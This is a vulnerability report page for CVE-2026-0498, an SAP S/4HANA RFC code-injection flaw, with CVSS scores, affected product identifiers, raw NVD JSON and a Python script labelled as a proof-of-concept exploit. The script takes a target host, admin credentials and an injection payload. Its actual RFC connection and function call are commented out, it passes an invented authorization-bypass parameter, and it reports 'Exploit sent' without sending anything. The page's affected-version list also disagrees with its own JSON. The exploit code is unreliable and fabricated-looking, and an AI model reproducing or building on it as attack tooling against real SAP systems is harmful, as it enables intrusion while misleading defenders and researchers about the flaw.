Security Vulnerability Report
中文
CVE-2026-0498 CVSS 9.1 CRITICAL

CVE-2026-0498

Published: 2026-01-13 02:15:52
Last Modified: 2026-01-22 18:44:20

Description

SAP S/4HANA (Private Cloud and On-Premise) allows an attacker with admin privileges to exploit a vulnerability in the function module exposed via RFC. This flaw enables the injection of arbitrary ABAP code/OS commands into the system, bypassing essential authorization checks. This vulnerability effectively functions as a backdoor, creating the risk of full system compromise, undermining the confidentiality, integrity and availability of the system.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:sap:s\/4_hana:102:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sap:s\/4_hana:103:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sap:s\/4_hana:104:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sap:s\/4_hana:105:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sap:s\/4_hana:106:*:*:*:*:*:*:* - VULNERABLE
SAP S/4HANA (Private Cloud) - 所有版本
SAP S/4HANA (On-Premise) - 所有版本
具体补丁版本请参阅 SAP Note 3694242

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0498 PoC - SAP S/4HANA RFC Function Module Code Injection Note: This PoC is for educational and authorized security testing purposes only. """ import subprocess import sys def check_sap_rfc_connection(target_host, target_port): """ Check if SAP RFC port is accessible """ try: result = subprocess.run( ['nc', '-zv', target_host, str(target_port)], capture_output=True, timeout=10 ) return result.returncode == 0 except Exception as e: print(f"Connection check failed: {e}") return False def exploit_rfc_injection(target_host, username, password, payload): """ Exploit RFC function module for ABAP code injection Parameters: target_host: Target SAP system hostname username: Admin username with RFC access password: Admin password payload: Malicious ABAP/OS command to inject """ # SAP RFC connection parameters rfc_params = { 'ashost': target_host, 'sysnr': '00', 'client': '001', 'user': username, 'passwd': password, 'lang': 'EN' } # Note: Requires pysap or pyrfc library # Example using SAP RFC SDK try: # Import SAP RFC library # import pyrfc # conn = pyrfc.Connection(**rfc_params) # Vulnerable function module (example) # func_name = 'SUSR_RFC_API_FUNCTION' # Example target # Injection payload structure malicious_input = { 'IMPORT_PARAM': payload, # Injected malicious code 'AUTHORIZATION_CHECK': False # Bypass auth check } # Execute the vulnerable function # result = conn.call(func_name, **malicious_input) print(f"[*] Exploit sent to {target_host}") print(f"[*] Payload: {payload}") return True except ImportError: print("[-] pyrfc library not installed") print("[*] Install with: pip install pyrfc") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def main(): if len(sys.argv) < 5: print("Usage: python cve-2026-0498.py <host> <username> <password> <payload>") print("Example: python cve-2026-0498.py 192.168.1.100 admin Admin123 'ABAP_CODE'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] payload = sys.argv[4] print(f"[*] Targeting SAP S/4HANA: {target}") print(f"[*] Using credentials: {user}/{passwd}") # Check connectivity if not check_sap_rfc_connection(target, 3300): # SAP RFC default port print("[-] Cannot connect to SAP RFC service") # Attempt exploitation exploit_rfc_injection(target, user, passwd, payload) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0498", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:52.300", "lastModified": "2026-01-22T18:44:20.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP S/4HANA (Private Cloud and On-Premise) allows an attacker with admin privileges to exploit a vulnerability in the function module exposed via RFC. This flaw enables the injection of arbitrary ABAP code/OS commands into the system, bypassing essential authorization checks. This vulnerability effectively functions as a backdoor, creating the risk of full system compromise, undermining the confidentiality, integrity and availability of the system."}, {"lang": "es", "value": "SAP S/4HANA (Nube Privada y On-Premise) permite a un atacante con privilegios de administrador explotar una vulnerabilidad en el módulo de función expuesto vía RFC. Esta falla permite la inyección de código ABAP/comandos de SO arbitrarios en el sistema, eludiendo comprobaciones de autorización esenciales. Esta vulnerabilidad funciona efectivamente como una puerta trasera, creando el riesgo de compromiso total del sistema, socavando la confidencialidad, integridad y disponibilidad del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:102:*:*:*:*:*:*:*", "matchCriteriaId": "7EE80980-12A5-40D7-8992-5C81FC82935E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:103:*:*:*:*:*:*:*", "matchCriteriaId": "82AAE66A-7112-4E83-9094-2AA571144F64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:104:*:*:*:*:*:*:*", "matchCriteriaId": "CFF0FD31-F4F3-470A-9CB5-DE339D7334FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:105:*:*:*:*:*:*:*", "matchCriteriaId": "A52E5AE7-D16E-4122-A39E-20A2CAB9A146"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:106:*:*:*:*:*:*:*", "matchCriteriaId": "EAEF60F9-E053-4D22-AA65-9C1CA5130374"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:107:*:*:*:*:*:*:*", "matchCriteriaId": "8606117E-F864-474F-8839-F6BAB51113E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:108:*:*:*:*:*:*:*", "matchCriteriaId": "F794CB63-BF34-42D5-9998-CD2F2B2FF25F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sap:s\\/4_hana:109:*:*:*:*:*:*:*", "matchCriteriaId": "CBF58A90-18F3-4358-8BCE-9FDD813F02C8"}]}]}], "references": [{"url": "https://me.sap.com/notes/3694242", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}